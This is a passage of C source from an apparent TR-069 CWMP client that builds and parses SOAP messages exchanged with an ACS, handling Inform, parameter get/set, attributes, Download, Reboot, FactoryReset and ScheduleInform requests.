b = mxmlFindElement(tree, tree, c, NULL, NULL, MXML_DESCEND);
free(c);
if (b) {
b = mxmlWalkNext(b, tree, MXML_DESCEND_FIRST);
if(b->value.text.string)
cwmp->hold_requests = (atoi(b->value.text.string)) ? true : false;
}
}
int xml_handle_message(char *msg_in, char **msg_out)
{
mxml_node_t *tree_in, *tree_out = NULL, *b, *body_out;
const struct rpc_method *method;
int i, code = FAULT_9002;
char *c;
tree_out = mxmlLoadString(NULL, CWMP_RESPONSE_MESSAGE, MXML_NO_CALLBACK);
if (!tree_out) goto error;
tree_in = mxmlLoadString(NULL, msg_in, MXML_NO_CALLBACK);
if (!tree_in) goto error;
if(xml_recreate_namespace(tree_in)) {
code = FAULT_9003;
goto fault_out;
}
/* handle cwmp:ID */
if (asprintf(&c, "%s:%s", ns.cwmp, "ID") == -1)
goto error;
b = mxmlFindElement(tree_in, tree_in, c, NULL, NULL, MXML_DESCEND);
FREE(c);
/* ACS did not send ID parameter, we are continuing without it */
if (!b) goto find_method;
b = mxmlWalkNext(b, tree_in, MXML_DESCEND_FIRST);
if (!b || !b->value.text.string) goto find_method;
c = strdup(b->value.text.string);
b = mxmlFindElement(tree_out, tree_out, "cwmp:ID", NULL, NULL, MXML_DESCEND);
if (!b) goto error;
b = mxmlNewText(b, 0, c);
FREE(c);
if (!b) goto error;
find_method:
if (asprintf(&c, "%s:%s", ns.soap_env, "Body") == -1)
goto error;
b = mxmlFindElement(tree_in, tree_in, c, NULL, NULL, MXML_DESCEND);
FREE(c);
if (!b) {
code = FAULT_9003;
goto fault_out;
}
while (1) {
b = mxmlWalkNext(b, tree_in, MXML_DESCEND_FIRST);
if (!b) {
code = FAULT_9003;
goto fault_out;
}
if (b->type == MXML_ELEMENT) break;
}
c = b->value.element.name;
if (strchr(c, ':')) {
char *tmp = strchr(c, ':');
size_t ns_len = tmp - c;
if (strlen(ns.cwmp) != ns_len) {
code = FAULT_9003;
goto fault_out;
}
if (strncmp(ns.cwmp, c, ns_len)) {
code = FAULT_9003;
goto fault_out;
}
c = tmp + 1;
} else {
code = FAULT_9003;
goto fault_out;
}
method = NULL;
log_message(NAME, L_DEBUG, "received %s method from the ACS\n", c);
for (i = 0; i < ARRAY_SIZE(rpc_methods); i++) {
if (!strcmp(c, rpc_methods[i].name)) {
method = &rpc_methods[i];
break;
}
}
if (method) {
if (method->handler(b, tree_in, tree_out)) goto error;
}
else {
code = FAULT_9000;
goto fault_out;
}
*msg_out = mxmlSaveAllocString(tree_out, xml_format_cb);
mxmlDelete(tree_in);
mxmlDelete(tree_out);
return 0;
fault_out:
body_out = mxmlFindElement(tree_out, tree_out, "soap_env:Body", NULL, NULL, MXML_DESCEND);
if (!body_out) goto error;
xml_create_generic_fault_message(body_out, code);
mxmlDelete(tree_in);
mxmlDelete(tree_out);
return 0;
error:
mxmlDelete(tree_in);
mxmlDelete(tree_out);
return -1;
}
int xml_get_index_fault(char *fault_code)
{
int i;
for (i = 0; i < __FAULT_MAX; i++) {
if (strcmp(fault_array[i].code, fault_code) == 0)
return i;
}
return FAULT_9002;
}
/* Inform */
static int xml_prepare_events_inform(mxml_node_t *tree)
{
mxml_node_t *node, *b1, *b2;
char *c;
int n = 0;
struct list_head *p;
struct event *event;
b1 = mxmlFindElement(tree, tree, "Event", NULL, NULL, MXML_DESCEND);
if (!b1) return -1;
list_for_each(p, &cwmp->events) {
event = list_entry (p, struct event, list);
node = mxmlNewElement (b1, "EventStruct");
if (!node) goto error;
b2 = mxmlNewElement (node, "EventCode");
if (!b2) goto error;
b2 = mxmlNewText(b2, 0, event_code_array[event->code].code);
if (!b2) goto error;
b2 = mxmlNewElement (node, "CommandKey");
if (!b2) goto error;
if (event->key) {
b2 = mxmlNewText(b2, 0, event->key);
if (!b2) goto error;
}
mxmlAdd(b1, MXML_ADD_AFTER, MXML_ADD_TO_PARENT, node);
n++;
}
if (n) {
if (asprintf(&c, "cwmp:EventStruct[%u]", n) == -1)
return -1;
mxmlElementSetAttr(b1, "soap_enc:arrayType", c);
FREE(c);
}
return 0;
error:
return -1;
}
static int xml_prepare_notifications_inform(mxml_node_t *parameter_list, int *counter)
{
/* notifications */
mxml_node_t *b, *n;
struct list_head *p;
struct notification *notification;
list_for_each(p, &cwmp->notifications) {
notification = list_entry(p, struct notification, list);
b = mxmlFindElementText(parameter_list, parameter_list, notification->parameter, MXML_DESCEND);
if (b) continue;
n = mxmlNewElement(parameter_list, "ParameterValueStruct");
if (!n) goto error;
b = mxmlNewElement(n, "Name");
if (!b) goto error;
b = mxmlNewText(b, 0, notification->parameter);
if (!b) goto error;
b = b->parent->parent;
b = mxmlNewElement(n, "Value");
if (!b) goto error;
b = mxmlNewText(b, 0, notification->value);
if (!b) goto error;
(*counter)++;
}
return 0;
error:
return -1;
}
int xml_prepare_inform_message(char **msg_out)
{
mxml_node_t *tree, *b, *n, *parameter_list;
struct external_parameter *external_parameter;
char *c;
int counter = 0;
tree = mxmlLoadString(NULL, CWMP_INFORM_MESSAGE, MXML_NO_CALLBACK);
if (!tree) goto error;
b = mxmlFindElement(tree, tree, "RetryCount", NULL, NULL, MXML_DESCEND);
if (!b) goto error;
b = mxmlNewInteger(b, cwmp->retry_count);
if (!b) goto error;
b = mxmlFindElement(tree, tree, "Manufacturer", NULL, NULL, MXML_DESCEND);
if (!b) goto error;
b = mxmlNewText(b, 0, cwmp->deviceid.manufacturer);
if (!b) goto error;
b = mxmlFindElement(tree, tree, "OUI", NULL, NULL, MXML_DESCEND);
if (!b) goto error;
b = mxmlNewText(b, 0, cwmp->deviceid.oui);
if (!b) goto error;
b = mxmlFindElement(tree, tree, "ProductClass", NULL, NULL, MXML_DESCEND);
if (!b) goto error;
b = mxmlNewText(b, 0, cwmp->deviceid.product_class);
if (!b) goto error;
b = mxmlFindElement(tree, tree, "SerialNumber", NULL, NULL, MXML_DESCEND);
if (!b) goto error;
b = mxmlNewText(b, 0, cwmp->deviceid.serial_number);
if (!b) goto error;
if (xml_prepare_events_inform(tree))
goto error;
b = mxmlFindElement(tree, tree, "CurrentTime", NULL, NULL, MXML_DESCEND);
if (!b) goto error;
b = mxmlNewText(b, 0, mix_get_time());
if (!b) goto error;
external_action_simple_execute("inform", "parameter", NULL);
if (external_action_handle(json_handle_get_parameter_value))
goto error;
parameter_list = mxmlFindElement(tree, tree, "ParameterList", NULL, NULL, MXML_DESCEND);
if (!parameter_list) goto error;
while (external_list_parameter.next != &external_list_parameter) {
external_parameter = list_entry(external_list_parameter.next, struct external_parameter, list);
n = mxmlNewElement(parameter_list, "ParameterValueStruct");
if (!n) goto error;
b = mxmlNewElement(n, "Name");
if (!b) goto error;
b = mxmlNewText(b, 0, external_parameter->name);
if (!b) goto error;
b = mxmlNewElement(n, "Value");
if (!b) goto error;
#ifdef ACS_MULTI
mxmlElementSetAttr(b, "xsi:type", external_parameter->type);
#endif
b = mxmlNewText(b, 0, external_parameter->data ? external_parameter->data : "");
if (!b) goto error;
counter++;
external_parameter_delete(external_parameter);
}
if (xml_prepare_notifications_inform(parameter_list, &counter))
goto error;
#ifdef ACS_MULTI
if (asprintf(&c, "cwmp:ParameterValueStruct[%d]", counter) == -1)
goto error;
mxmlElementSetAttr(parameter_list, "soap_enc:arrayType", c);
FREE(c);
#endif
*msg_out = mxmlSaveAllocString(tree, xml_format_cb);
mxmlDelete(tree);
return 0;
error:
external_free_list_parameter();
mxmlDelete(tree);
return -1;
}
int xml_parse_inform_response_message(char *msg_in)
{
mxml_node_t *tree, *b;
char *c;
int fault = 0;
tree = mxmlLoadString(NULL, msg_in, MXML_NO_CALLBACK);
if (!tree) goto error;
if(xml_recreate_namespace(tree)) goto error;
if (asprintf(&c, "%s:%s", ns.soap_env, "Fault") == -1)
goto error;
b = mxmlFindElement(tree, tree, c, NULL, NULL, MXML_DESCEND);
FREE(c);
if (b) {
b = mxmlFindElementText(b, b, "8005", MXML_DESCEND);
if (b) {
fault = FAULT_ACS_8005;
goto out;
}
goto error;
}
xml_get_hold_request(tree);
b = mxmlFindElement(tree, tree, "MaxEnvelopes", NULL, NULL, MXML_DESCEND);
if (!b) goto error;
b = mxmlWalkNext(b, tree, MXML_DESCEND_FIRST);
if (!b || !b->value.text.string)
goto error;
out:
mxmlDelete(tree);
return fault;
error:
mxmlDelete(tree);
return -1;
}
/* ACS GetRPCMethods */
int xml_prepare_get_rpc_methods_message(char **msg_out)
{
mxml_node_t *tree;
tree = mxmlLoadString(NULL, CWMP_GET_RPC_METHOD_MESSAGE, MXML_NO_CALLBACK);
if (!tree) return -1;
*msg_out = mxmlSaveAllocString(tree, xml_format_cb);
mxmlDelete(tree);
return 0;
}
int xml_parse_get_rpc_methods_response_message(char *msg_in)
{
mxml_node_t *tree, *b;
char *c;
int fault = 0;
tree = mxmlLoadString(NULL, msg_in, MXML_NO_CALLBACK);
if (!tree) goto error;
if(xml_recreate_namespace(tree)) goto error;
if (asprintf(&c, "%s:%s", ns.soap_env, "Fault") == -1)
goto error;
b = mxmlFindElement(tree, tree, c, NULL, NULL, MXML_DESCEND);
FREE(c);
if (b) {
b = mxmlFindElementText(b, b, "8005", MXML_DESCEND);
if (b) {
fault = FAULT_ACS_8005;
goto out;
}
goto out;
}
xml_get_hold_request(tree);
out:
mxmlDelete(tree);
return fault;
error:
mxmlDelete(tree);
return -1;
}
/* ACS TransferComplete */
int xml_parse_transfer_complete_response_message(char *msg_in)
{
mxml_node_t *tree, *b;
char *c;
int fault = 0;
tree = mxmlLoadString(NULL, msg_in, MXML_NO_CALLBACK);
if (!tree) goto error;
if(xml_recreate_namespace(tree)) goto error;
if (asprintf(&c, "%s:%s", ns.soap_env, "Fault") == -1)
goto error;
b = mxmlFindElement(tree, tree, c, NULL, NULL, MXML_DESCEND);
FREE(c);
if (b) {
b = mxmlFindElementText(b, b, "8005", MXML_DESCEND);
if (b) {
fault = FAULT_ACS_8005;
goto out;
}
goto out;
}
xml_get_hold_request(tree);
out:
mxmlDelete(tree);
return fault;
error:
mxmlDelete(tree);
return -1;
}
/* CPE GetRPCMethods */
static int xml_handle_get_rpc_methods(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out)
{
mxml_node_t *b1, *b2, *method_list;
int i = 0;
b1 = mxmlFindElement(tree_out, tree_out, "soap_env:Body", NULL, NULL, MXML_DESCEND);
if (!b1) return -1;
b1 = mxmlNewElement(b1, "cwmp:GetRPCMethodsResponse");
if (!b1) return -1;
method_list = mxmlNewElement(b1, "MethodList");
if (!method_list) return -1;
for (i = 0; i < ARRAY_SIZE(rpc_methods); i++) {
b2 = mxmlNewElement(method_list, "string");
if (!b2) return -1;
b2 = mxmlNewText(b2, 0, rpc_methods[i].name);
if (!b2) return -1;
}
char *attr_value;
if (asprintf(&attr_value, "xsd:string[%d]", ARRAY_SIZE(rpc_methods)) == -1)
return -1;
mxmlElementSetAttr(method_list, "soap_enc:arrayType", attr_value);
free(attr_value);
log_message(NAME, L_DEBUG, "send GetRPCMethodsResponse to the ACS\n");
return 0;
}
/* SetParameterValues */
int xml_handle_set_parameter_values(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out)
{
mxml_node_t *b = body_in, *body_out;
struct external_parameter *external_parameter;
struct list_head *ilist;
char *parameter_name = NULL, *parameter_value = NULL, *status = NULL, *param_key = NULL;
int code = FAULT_9002;
body_out = mxmlFindElement(tree_out, tree_out, "soap_env:Body", NULL, NULL, MXML_DESCEND);
if (!body_out) goto error;
if (xml_check_duplicated_parameter(body_in)) {
code = FAULT_9003;
goto fault_out;
}
while (b) {
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "Name")) {
parameter_name = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "Name") &&
!b->child) {
parameter_name = "";
}
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "Value")) {
free(parameter_value);
parameter_value = xml_get_value_with_whitespace(b);
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "Value") &&
!b->child) {
free(parameter_value);
parameter_value = strdup("");
}
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "ParameterKey")) {
param_key = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "ParameterKey") &&
!b->child) {
param_key = "";
}
if (parameter_name && parameter_value) {
external_action_parameter_execute("set", "value", parameter_name, parameter_value);
parameter_name = NULL;
FREE(parameter_value);
}
b = mxmlWalkNext(b, body_in, MXML_DESCEND);
}
external_action_simple_execute("apply", "value", param_key);
if (external_action_handle(json_handle_set_parameter_value))
goto fault_out;
list_for_each(ilist, &external_list_parameter) {
external_parameter = list_entry(ilist, struct external_parameter, list);
if (external_parameter->fault_code && external_parameter->fault_code[0]=='9') {
code = FAULT_9003;
goto fault_out;
}
}
external_fetch_set_param_val_resp_status(&status);
if(!status)
goto fault_out;
b = mxmlNewElement(body_out, "cwmp:SetParameterValuesResponse");
if (!b) goto error;
b = mxmlNewElement(b, "Status");
if (!b) goto error;
b = mxmlNewText(b, 0, status);
if (!b) goto error;
free(status);
free(parameter_value);
log_message(NAME, L_DEBUG, "send SetParameterValuesResponse to the ACS\n");
return 0;
fault_out:
free(parameter_value);
xml_create_set_parameter_value_fault_message(body_out, code);
free(status);
external_free_list_parameter();
return 0;
error:
free(parameter_value);
free(status);
external_free_list_parameter();
return-1;
}
/* GetParameterValues */
int xml_handle_get_parameter_values(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out)
{
mxml_node_t *n, *parameter_list, *b = body_in, *body_out, *t;
struct external_parameter *external_parameter;
char *parameter_name = NULL;
int counter = 0, code = FAULT_9002;
struct list_head *ilist;
body_out = mxmlFindElement(tree_out, tree_out, "soap_env:Body",
NULL, NULL, MXML_DESCEND);
if (!body_out) return -1;
while (b) {
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "string")) {
parameter_name = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "string") &&
!b->child) {
parameter_name = "";
}
if (parameter_name) {
external_action_parameter_execute("get", "value", parameter_name, NULL);
}
b = mxmlWalkNext(b, body_in, MXML_DESCEND);
parameter_name = NULL;
}
if (external_action_handle(json_handle_get_parameter_value))
goto fault_out;
list_for_each(ilist, &external_list_parameter) {
external_parameter = list_entry(ilist, struct external_parameter, list);
if (external_parameter->fault_code && external_parameter->fault_code[0]=='9') {
code = xml_get_index_fault(external_parameter->fault_code);
goto fault_out;
}
}
n = mxmlNewElement(body_out, "cwmp:GetParameterValuesResponse");
if (!n) return -1;
parameter_list = mxmlNewElement(n, "ParameterList");
if (!parameter_list) return -1;
while (external_list_parameter.next != &external_list_parameter) {
external_parameter = list_entry(external_list_parameter.next, struct external_parameter, list);
n = mxmlNewElement(parameter_list, "ParameterValueStruct");
if (!n) goto out;
t = mxmlNewElement(n, "Name");
if (!t) goto out;
t = mxmlNewText(t, 0, external_parameter->name);
if (!t) goto out;
t = mxmlNewElement(n, "Value");
if (!t) goto out;
#ifdef ACS_MULTI
mxmlElementSetAttr(t, "xsi:type", external_parameter->type);
#endif
t = mxmlNewText(t, 0, external_parameter->data ? external_parameter->data : "");
if (!t) goto out;
counter++;
external_parameter_delete(external_parameter);
}
#ifdef ACS_MULTI
char *c;
if (asprintf(&c, "cwmp:ParameterValueStruct[%d]", counter) == -1)
goto out;
mxmlElementSetAttr(parameter_list, "soap_enc:arrayType", c);
FREE(c);
#endif
log_message(NAME, L_DEBUG, "send GetParameterValuesResponse to the ACS\n");
return 0;
fault_out:
xml_create_generic_fault_message(body_out, code);
external_free_list_parameter();
return 0;
out:
external_free_list_parameter();
return -1;
}
/* GetParameterNames */
int xml_handle_get_parameter_names(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out)
{
mxml_node_t *n, *parameter_list, *b = body_in, *body_out, *t;
struct external_parameter *external_parameter;
char *parameter_name = NULL;
char *next_level = NULL;
int counter = 0, code = FAULT_9002;
body_out = mxmlFindElement(tree_out, tree_out, "soap_env:Body",
NULL, NULL, MXML_DESCEND);
if (!body_out) return -1;
while (b) {
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "ParameterPath")) {
parameter_name = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "ParameterPath") &&
!b->child) {
parameter_name = "";
}
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "NextLevel")) {
next_level = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "NextLevel") &&
!b->child) {
next_level = "";
}
b = mxmlWalkNext(b, body_in, MXML_DESCEND);
}
if (parameter_name && next_level) {
external_action_parameter_execute("get", "name", parameter_name, next_level);
if (external_action_handle(json_handle_get_parameter_name))
goto fault_out;
}
external_parameter = list_entry(external_list_parameter.next, struct external_parameter, list);
if (external_parameter->fault_code && external_parameter->fault_code[0]=='9') {
code = xml_get_index_fault(external_parameter->fault_code) ;
goto fault_out;
}
n = mxmlNewElement(body_out, "cwmp:GetParameterNamesResponse");
if (!n) return -1;
parameter_list = mxmlNewElement(n, "ParameterList");
if (!parameter_list) return -1;
while (external_list_parameter.next != &external_list_parameter) {
external_parameter = list_entry(external_list_parameter.next, struct external_parameter, list);
n = mxmlNewElement(parameter_list, "ParameterInfoStruct");
if (!n) goto out;
t = mxmlNewElement(n, "Name");
if (!t) goto out;
t = mxmlNewText(t, 0, external_parameter->name);
if (!t) goto out;
t = mxmlNewElement(n, "Writable");
if (!t) goto out;
t = mxmlNewText(t, 0, external_parameter->data);
if (!t) goto out;
counter++;
external_parameter_delete(external_parameter);
}
#ifdef ACS_MULTI
char *c;
if (asprintf(&c, "cwmp:ParameterInfoStruct[%d]", counter) == -1)
goto out;
mxmlElementSetAttr(parameter_list, "soap_enc:arrayType", c);
FREE(c);
#endif
log_message(NAME, L_DEBUG, "send GetParameterNamesResponse to the ACS\n");
return 0;
fault_out:
xml_create_generic_fault_message(body_out, code);
external_free_list_parameter();
return 0;
out:
external_free_list_parameter();
return -1;
}
/* GetParameterAttributes */
static int xml_handle_get_parameter_attributes(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out)
{
mxml_node_t *n, *parameter_list, *b = body_in, *body_out, *t;
struct external_parameter *external_parameter;
char *parameter_name = NULL;
int counter = 0, code = FAULT_9002;
struct list_head *ilist;
body_out = mxmlFindElement(tree_out, tree_out, "soap_env:Body",
NULL, NULL, MXML_DESCEND);
if (!body_out) return -1;
while (b) {
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "string")) {
parameter_name = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "string") &&
!b->child) {
parameter_name = "";
}
if (parameter_name) {
external_action_parameter_execute("get", "notification", parameter_name, NULL);
}
b = mxmlWalkNext(b, body_in, MXML_DESCEND);
parameter_name = NULL;
}
if (external_action_handle(json_handle_get_parameter_attribute))
goto fault_out;
list_for_each(ilist, &external_list_parameter) {
external_parameter = list_entry(ilist, struct external_parameter, list);
if (external_parameter->fault_code && external_parameter->fault_code[0]=='9') {
code = xml_get_index_fault(external_parameter->fault_code);
goto fault_out;
}
}
n = mxmlNewElement(body_out, "cwmp:GetParameterAttributesResponse");
if (!n) return -1;
parameter_list = mxmlNewElement(n, "ParameterList");
if (!parameter_list) return -1;
while (external_list_parameter.next != &external_list_parameter) {
external_parameter = list_entry(external_list_parameter.next, struct external_parameter, list);
n = mxmlNewElement(parameter_list, "ParameterAttributeStruct");
if (!n) goto out;
t = mxmlNewElement(n, "Name");
if (!t) goto out;
t = mxmlNewText(t, 0, external_parameter->name);
if (!t) goto out;
t = mxmlNewElement(n, "Notification");
if (!t) goto out;
t = mxmlNewText(t, 0, external_parameter->data ? external_parameter->data : "");
if (!t) goto out;
t = mxmlNewElement(n, "AccessList");
if (!t) goto out;
counter++;
external_parameter_delete(external_parameter);
}
#ifdef ACS_MULTI
char *c;
if (asprintf(&c, "cwmp:ParameterAttributeStruct[%d]", counter) == -1)
goto out;
mxmlElementSetAttr(parameter_list, "soap_enc:arrayType", c);
FREE(c);
#endif
log_message(NAME, L_DEBUG, "send GetParameterAttributesResponse to the ACS\n");
return 0;
fault_out:
xml_create_generic_fault_message(body_out, code);
external_free_list_parameter();
return 0;
out:
external_free_list_parameter();
return -1;
}
/* SetParameterAttributes */
static int xml_handle_set_parameter_attributes(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out) {
mxml_node_t *b = body_in, *body_out;
char *c, *parameter_name, *parameter_notification, *success = NULL, *fault = NULL;
uint8_t attr_notification_update = 0;
int code = FAULT_9002 ;
body_out = mxmlFindElement(tree_out, tree_out, "soap_env:Body", NULL, NULL, MXML_DESCEND);
if (!body_out) goto error;
while (b != NULL) {
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "SetParameterAttributesStruct")) {
attr_notification_update = 0;
parameter_name = NULL;
parameter_notification = NULL;
}
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "Name")) {
parameter_name = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "Name") &&
!b->child) {
parameter_name = "";
}
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "NotificationChange")) {
if (strcasecmp(b->value.text.string, "true") == 0) {
attr_notification_update = 1;
} else if (strcasecmp(b->value.text.string, "false") == 0) {
attr_notification_update = 0;
} else {
attr_notification_update = (uint8_t) atoi(b->value.text.string);
}
}
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "Notification")) {
parameter_notification = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "Notification") &&
!b->child) {
parameter_notification = "";
}
if (attr_notification_update && parameter_name && parameter_notification) {
external_action_parameter_execute("set", "notification", parameter_name, parameter_notification);
attr_notification_update = 0;
parameter_name = NULL;
parameter_notification = NULL;
}
b = mxmlWalkNext(b, body_in, MXML_DESCEND);
}
external_action_simple_execute("apply", "notification", NULL);
if (external_action_handle(json_handle_method_status))
goto fault_out;
external_fetch_method_resp_status(&success, &fault);
if (fault && fault[0]=='9') {
code = xml_get_index_fault(fault);
goto fault_out;
}
if(!success || success[0] == '\0') {
goto fault_out;
}
b = mxmlNewElement(body_out, "cwmp:SetParameterAttributesResponse");
if (!b) goto error;
free(success);
free(fault);
log_message(NAME, L_DEBUG, "send SetParameterAttributesResponse to the ACS\n");
return 0;
fault_out:
xml_create_generic_fault_message(body_out, code);
free(success);
free(fault);
return 0;
error:
free(success);
free(fault);
return -1;
}
/* Download */
static int xml_handle_download(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out)
{
mxml_node_t *n, *t, *b = body_in, *body_out;
char *download_url = NULL, *file_size = NULL,
*command_key = NULL, *file_type = NULL, *username = NULL,
*password = NULL, r;
int delay = -1, code = FAULT_9002;
body_out = mxmlFindElement(tree_out, tree_out, "soap_env:Body", NULL, NULL, MXML_DESCEND);
if (!body_out) return -1;
while (b != NULL) {
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "CommandKey")) {
command_key = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "CommandKey") &&
!b->child) {
command_key = "";
}
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "FileType")) {
file_type = xml_get_value_with_whitespace(b);
b = b->parent->last_child;
}
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "URL")) {
download_url = b->value.text.string;
}
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "Username")) {
username = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "Username") &&
!b->child) {
username = "";
}
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "Password")) {
password = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "Password") &&
!b->child) {
password = "";
}
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "FileSize")) {
file_size = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "FileSize") &&
!b->child) {
file_size = "0";
}
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "DelaySeconds")) {
delay = atoi(b->value.text.string);
}
b = mxmlWalkNext(b, body_in, MXML_DESCEND);
}
if (!download_url || !file_size || !command_key || !file_type || !username || !password || delay < 0) {
code = FAULT_9003;
goto fault_out;
}
if (sscanf(download_url,"%*[a-zA-Z_0-9]://%c",&r) < 1 ||
sscanf(download_url,"%*[^:]://%*[^:]:%*[^@]@%c",&r) == 1) {
code = FAULT_9003;
goto fault_out;
}
if (cwmp->download_count >= MAX_DOWNLOAD) {
code = FAULT_9004;
goto fault_out;
}
n = backup_add_download(command_key, delay, file_size, download_url, file_type, username, password);
cwmp_add_download(command_key, delay, file_size, download_url, file_type, username, password, n);
FREE(file_type);
t = mxmlNewElement(body_out, "cwmp:DownloadResponse");
if (!t) return -1;
b = mxmlNewElement(t, "Status");
if (!b) return -1;
b = mxmlNewElement(t, "StartTime");
if (!b) return -1;
b = mxmlNewText(b, 0, UNKNOWN_TIME);
if (!b) return -1;
b = mxmlFindElement(t, tree_out, "Status", NULL, NULL, MXML_DESCEND);
if (!b) return -1;
b = mxmlNewText(b, 0, "1");
b = mxmlNewElement(t, "CompleteTime");
if (!b) return -1;
b = mxmlNewText(b, 0, UNKNOWN_TIME);
if (!b) return -1;
log_message(NAME, L_DEBUG, "send DownloadResponse to the ACS\n");
return 0;
fault_out:
xml_create_generic_fault_message(body_out, code);
FREE(file_type);
return 0;
}
/* FactoryReset */
static int xml_handle_factory_reset(mxml_node_t *node,
mxml_node_t *tree_in,
mxml_node_t *tree_out)
{
mxml_node_t *body_out, *b;
body_out = mxmlFindElement(tree_out, tree_out, "soap_env:Body", NULL, NULL, MXML_DESCEND);
if (!body_out) return -1;
b = mxmlNewElement(body_out, "cwmp:FactoryResetResponse");
if (!b) return -1;
cwmp_add_handler_end_session(ENDS_FACTORY_RESET);
log_message(NAME, L_DEBUG, "send FactoryResetResponse to the ACS\n");
return 0;
}
/* Reboot */
static int xml_handle_reboot(mxml_node_t *node,
mxml_node_t *tree_in,
mxml_node_t *tree_out)
{
mxml_node_t *b = node, *body_out;
char *command_key;
int code = FAULT_9002;
body_out = mxmlFindElement(tree_out, tree_out, "soap_env:Body", NULL, NULL, MXML_DESCEND);
if (!body_out) return -1;
while (b) {
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "CommandKey")) {
command_key = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "CommandKey") &&
!b->child) {
command_key = "";
}
b = mxmlWalkNext(b, node, MXML_DESCEND);
}
if (!command_key) {
code = FAULT_9003;
goto fault_out;
}
b = mxmlNewElement(body_out, "cwmp:RebootResponse");
if (!b) return -1;
backup_add_event(EVENT_M_REBOOT, command_key, 0);
cwmp_add_handler_end_session(ENDS_REBOOT);
log_message(NAME, L_DEBUG, "send RebootResponse to the ACS\n");
return 0;
fault_out:
xml_create_generic_fault_message(body_out, code);
return 0;
}
/* ScheduleInform */
static int xml_handle_schedule_inform(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out)
{
mxml_node_t *b = body_in, *body_out;
char *command_key = NULL;
char *delay_seconds = NULL;
int delay = 0, code = FAULT_9002;
body_out = mxmlFindElement(tree_out, tree_out, "soap_env:Body", NULL, NULL, MXML_DESCEND);
if (!body_out) return -1;
while (b) {
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "CommandKey")) {
command_key = b->value.text.string;
}
if (b && b->type == MXML_ELEMENT &&
!strcmp(b->value.element.name, "CommandKey") &&
!b->child) {
command_key = "";
}
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "DelaySeconds")) {
delay_seconds = b->value.text.string;
}
b = mxmlWalkNext(b, body_in, MXML_DESCEND);
}
if (delay_seconds) delay = atoi(delay_seconds);
if (command_key && (delay > 0)) {
cwmp_add_scheduled_inform(command_key, delay);
b = mxmlNewElement(body_out, "cwmp:ScheduleInformResponse");
if (!b) return -1;
}
else {
code = FAULT_9003;
goto fault_out;
}
